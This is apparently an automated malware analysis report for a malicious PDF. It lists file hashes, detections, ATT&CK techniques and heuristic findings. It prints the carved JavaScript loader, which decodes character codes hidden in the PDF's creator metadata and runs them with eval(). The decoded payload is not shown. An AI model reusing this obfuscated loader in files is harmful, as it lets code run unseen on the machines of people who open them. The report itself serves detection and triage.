Malicious PDF — malware analysis report

Static analysis result for SHA-256 17f06e874030ab39…

MALICIOUS

PDF

14.7 KB
MD5: 0ade3c7c3a99c474530b2d5c868b3eec SHA-1: 4736cc4999c468eee37e58e238576fba67950683 SHA-256: 17f06e874030ab39adb2ce6cf39c477870424c328d890e7b63efc0de6bff7a47
216 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that utilizes String.fromCharCode and eval() to execute obfuscated code. This technique is commonly used to download and execute a second-stage payload. The ML classifier and ClamAV detection strongly indicate malicious intent, classifying it as Pdf.Exploit.Dropped-94.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • ClamAV: Pdf.Exploit.Dropped-94 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Dropped-94
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js
c28effae366bd4b2a63fe29aea090a07947ae4e73aa9efc1cf87e16e006e7288		 pdf-javascript-stream PDF /JS object 76 at offset 0x395B 144 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try{prototype%2;}catch(z){
a=creator;
a=a.split("-");
s="";
}
for(i=0;i!=a.length;i++){
	s+=String.fromCharCode(a[i]-31);
}
eval(s);

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